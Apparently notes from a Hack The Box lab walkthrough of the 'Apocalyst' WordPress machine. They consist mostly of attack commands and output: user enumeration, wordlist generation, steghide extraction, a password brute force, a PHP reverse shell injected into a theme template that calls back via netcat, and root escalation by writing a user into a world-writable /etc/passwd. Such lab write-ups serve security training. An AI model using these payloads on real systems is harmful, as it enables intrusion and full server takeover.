WPSCAN ENUM USERS

CEWL TO CREATE WORDLIST USING WEBSITE

DIRBUSTER USING LIST

STEGHIDE

BRUTEFORCE USING WPSCAN

WPS REVERSE.PHP

WRITE ACCESS TO /ETC/PASSWD

OPENSSL PASSWD

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 (RSA)

| 256 76:92:39:0a:57:bd:f0:03:26:78:c7:db:1a:66:a5:bc (ECDSA)

|_ 256 12:12:cf:f1:7f:be:43:1f:d5:e6:6d:90:84:25:c8:bd (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-generator: WordPress 4.8

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Apocalypse Preparation Blog

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

http://apocalyst.htb/

WPSCAN ENUM USERS

root@kali:/home/kali/Desktop/htb/apocalyst# wpscan --url http://apocalyst.htb/ --enumerate u

[i] User(s) Identified:

[+] falaraki

CEWL TO CREATE WORDLIST USING WEBSITE

root@kali:/home/kali/Desktop/htb/apocalyst# cewl apocalyst.htb > list.txt

dirbuster using list

http://apocalyst.htb:80/Rightiousness/

http://apocalyst.htb/Rightiousness/image.jpg

root@kali:/home/kali/Desktop/htb/apocalyst# wget http://apocalyst.htb/Rightiousness/image.jpg

STEGHIDE

root@kali:/home/kali/Desktop/htb/apocalyst# steghide --info image.jpg

"image.jpg":

format: jpeg

capacity: 13.0 KB

Try to get information about embedded data ? (y/n) y

Enter passphrase:

embedded file "list.txt":

size: 3.6 KB

encrypted: rijndael-128, cbc

compressed: yes

root@kali:/home/kali/Desktop/htb/apocalyst# steghide --extract -sf image.jpg

Enter passphrase:

the file "list.txt" does already exist. overwrite ? (y/n) y

wrote extracted data to "list.txt".

BRUTEFORCE USING WPSSCAN

root@kali:/home/kali/Desktop/htb/apocalyst# wpscan --url http://10.10.10.46 --usernames falaraki --passwords /home/kali/Desktop/htb/apocalyst/list.txt

[!] Valid Combinations Found:

| Username: falaraki, Password: Transclisiation

http://apocalyst.htb/wp-login.php

appearance→editor→404 template

root@kali:/home/kali/Desktop/htb/apocalyst# cat reverse.php

<?php

system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.27 8082 >/tmp/f");

?>

http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php

root@kali:/home/kali/Desktop/htb/apocalyst# nc -nlvp 8082

SHELL GAINED!!!!

www-data@apocalyst:/home/falaraki$ ls -la

total 44

drwxr-xr-x 4 falaraki falaraki 4096 Dec 24 2017 .

drwxr-xr-x 3 root   root   4096 Jul 26 2017 ..

-rw------- 1 falaraki falaraki   1 Dec 24 2017 .bash_history

-rw-r--r-- 1 falaraki falaraki 220 Jul 26 2017 .bash_logout

-rw-r--r-- 1 falaraki falaraki 3771 Jul 26 2017 .bashrc

drwx------ 2 falaraki falaraki 4096 Jul 26 2017 .cache

drwxrwxr-x 2 falaraki falaraki 4096 Jul 26 2017 .nano

-rw-r--r-- 1 falaraki falaraki 655 Jul 26 2017 .profile

-rw-rw-r-- 1 falaraki falaraki 109 Jul 26 2017 .secret

-rw-r--r-- 1 falaraki falaraki   0 Jul 26 2017 .sudo_as_admin_successful

-rw-r--r-- 1 root   root   1024 Jul 27 2017 .wp-config.php.swp

-r--r--r-- 1 falaraki falaraki   33 Jul 26 2017 user.txt

www-data@apocalyst:/home/falaraki$ cat .secret

S2VlcCBmb3JnZXR0aW5nIHBhc3N3b3JkIHNvIHRoaXMgd2lsbCBrZWVwIGl0IHNhZmUhDQpZMHVBSU50RzM3VGlOZ1RIIXNVemVyc1A0c3M=

echo "S2VlcCBmb3JnZXR0aW5nIHBhc3N3b3JkIHNvIHRoaXMgd2lsbCBrZWVwIGl0IHNhZmUhDQpZMHVBSU50RzM3VGlOZ1RIIXNVemVyc1A0c3M=" | base64 -d

Y0uAINtG37TiNgTH!sUzersP4ss

root@kali:/home/kali/Desktop/htb/apocalyst# ssh falaraki@apocalyst.htb

FALARAKI USER!!!

falaraki@apocalyst:~$ ls -la /etc/passwd

-rw-rw-rw- 1 root root 1637 Jul 26 2017 /etc/passwd

root@kali:/home/kali/Desktop/htb/apocalyst# openssl passwd -1

Password:

Verifying - Password:

1LhO.LQ0h$WidZjsfMChjyJL2rT/po9.

falaraki@apocalyst:~$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false

systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

syslog:x:104:108::/home/syslog:/bin/false

_apt:x:105:65534::/nonexistent:/bin/false

lxd:x:106:65534::/var/lib/lxd/:/bin/false

messagebus:x:107:111::/var/run/dbus:/bin/false

uuidd:x:108:112::/run/uuidd:/bin/false

dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false

falaraki:x:1000:1000:Falaraki Rainiti,,,:/home/falaraki:/bin/bash

sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin

mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false

akg:1LhO.LQ0h$WidZjsfMChjyJL2rT/po9.:0:0:akg:/root:/bin/bash

falaraki@apocalyst:~$ su akg

Password: